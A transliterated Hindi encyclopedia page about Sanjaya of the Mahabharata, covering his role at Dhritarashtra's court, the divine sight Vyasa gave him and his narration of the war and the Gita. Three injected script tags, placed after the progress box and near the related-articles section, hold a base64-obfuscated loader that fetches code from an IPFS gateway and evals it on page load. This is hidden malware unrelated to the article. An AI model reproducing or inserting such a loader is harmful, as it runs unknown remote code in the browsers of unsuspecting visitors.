संजय

भारत डिस्कवरी प्रस्तुति
Revision as of 07:33, 7 November 2017 by व्यवस्थापन (talk | contribs) (Text replacement - "पश्चात " to "पश्चात् ")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

[[chitr:Sanjaya-Dhritarashtra.jpg|thumb|dhritarashtr ko mahabharat ki ghatanaoan ka aankhoan dekha hal batate huye sanjay]] sanjay maharshi vyas ke shishy tatha dhritarashtr ki rajasabha ka sammanit sadasy the. ye vidvan gavalgan namak soot ke putr the. jati se vah bunakar the. vah vinamr aur dharmik svabhav ka tha aur spashtavadita ke lie prasiddh tha. dhritarashtr ke mantri tatha shrikrishna ke paramabhakt the. dharm ke pakshapati the isi karan se dhritarashtr ke mantri hone par bhi pandavoan ke prati sahanubhuti rakhate the aur dhritarashtr aur unake putroan adharm se rokane ke liye k de se k de bachan kahane mean hichakate nahian the. vah raja ko samay-samay par salah deta rahata tha aur duryodhan dvara pandavoan ke sath kiye jane vale asahishnu vyavahar ke prati chetata rahata tha. jab doosari bar dyoot kri da (jua) mean pandav har kar van ko chale ge tab sanjay ne dhritarashtr ko chetavani di thi ki 'he rajan! kuru vansh ka samool nash to avashyanbhavi hai hi apitu nirih praja vyarth mean mari jaegi. vidur, bhishm pitamah aur guru dronachary adi ke dvara roke jane par bhi apake putroan ne draupadi ka apaman kiya. is tarah unhoanne pandavoan ke kop (krodh) ko svat: nimantran de diya. keval duryodhan hi is tarah ka vyavahar kar sakata tha.'

  • yuddh ki sanbhavana hone par dhritarashtr ne sanjay ko paandavoan ke pas yah sandesh dekar bheja tha ki bhale hi kauravoan ne unaka rajy le liya hai, kiantu kuruvanshi kshatriyoan ke paksh mean yahi hai ki paandav kauravoan se yuddh n karean. pratyuttar mean paandavoan ne apana adhikar maanga tatha kaha ki yuddh ki chunauti kauravoan ki or se hai, paandav to matr kshatr-dharm ki raksha ke nimitt yuddh ke lie taiyar haian. sanjay ko divy drishti prapt thi, at: ve yuddh-kshetr ka samast drishy mahal mean baithe hi dekh sakate the. netrahin dhritarashtr ne mahabharat-yuddh ka pratyek aansh unaki vani se suna.
  • dhritarashtr ko yuddh ka sajiv varnan sunane ke lie hi vyas muni ne sanjay ko divy drishti pradan ki thi. dhritarashtr ko sampoorn mahabharat yuddh ka vivaran saangopaang sunaya. sanjay yadakada yuddh mean bhi sammilit hote the. ek bar yuddharat sanjay ko satyaki se kaha-'ise, sanjay ko kaid karane se kya labh, isake jivit rahane se koee kam nahian banata,' to satyaki ne talavar utha li kiantu tabhi vyas muni ne prakat hokar sanjay ko vadh ke ayogy bata kar kaid se chhu dava diya. sanjay kavach utarakar astr shastr rahit hokar apane avas ki or badha. yuddh praranbh hone se lekar kaurav-paandavoan ki senaoan ka bhayanak vinash-kary hone tak usane samast kaand dhritarashtr ko sunaya. yuddh ki samapti, duryodhan ki mrityu tatha paanchaloan ke vadh ke uparaant vyas ki di huee divy drishti bhi nasht ho gayi. [1]

[[chitr:Vyasadeva-Sanjaya-Krishna.jpg|thumb|left|sanjay ko divyadrishti pradan karate huye vedavyas ji]]

sanjay ki divy drishti

  • sanjay ko shri krishna dvaipayan vyas dvara divy drishti ka varadan diya gaya tha . jisase mahabharat yuddh mean hone vali ghatanaoan ka aankhoan dekha hal batane mean sanjay, saksham tha . shrimadh bhagavath gita ka upadesh jo krishna ne arjun ko diya, vah bhi sanjay dvara hi sunaya gaya . shri krishna ka virat svaroop, jo ki keval arjun ko hi dikhaee de raha tha, sanjay ne divy drishti se dekh liya tha . sanjay ko divy drishti milane ka karan, sanjay ka eeshvar mean ni;svarth vishvas tha .
  • bhagavadgita ka upadesh bhi jis prakar shrikrishna ne arjun ko diya, vah sab inhoanne bhi apane kanoan se suna. itana hi nahian, devataoan ke liye durlabh vishvaroop tatha chaturbhuj roop ka darshan bhi inhoanne kiya.
  • mahabharat mean yuddh vijay ki ghoshana pahale hi kar di. [2]
  • sanjay ka siddhant- yatah satyan yato dharmo yato hrirarjavan yatah. tatobhavati govindo yatah krishnahstato jayah॥ [3]
  • mahabharat yuddh ke pashchath anek varshoan tak sanjay yudhishthar ke rajy mean raha . isake pashchath dhritarashtr, gandhari aur kunti ke sath sannyas lekar chala gaya aur dhritarashtr ki mrityu ke bad vo himalay chala gaya.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. mahabharat, udyogaparv, adhyay 20-32,bhishm parv, adhyay 2,shalyaparv, 25.57, 28.37-41,sauptik parv, 9.61-62
  2. yatr yogeshvarah krishnaoan yatr partho dhanurdharah. tatr shrirvijayobhutirdhruvaniti-rmatirmam॥ (gita
  3. yatah satyan yato dharmo yato hrirarjavan yatah. tatobhavati govindo yatah krishnahstato jayah॥(mahabharat

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah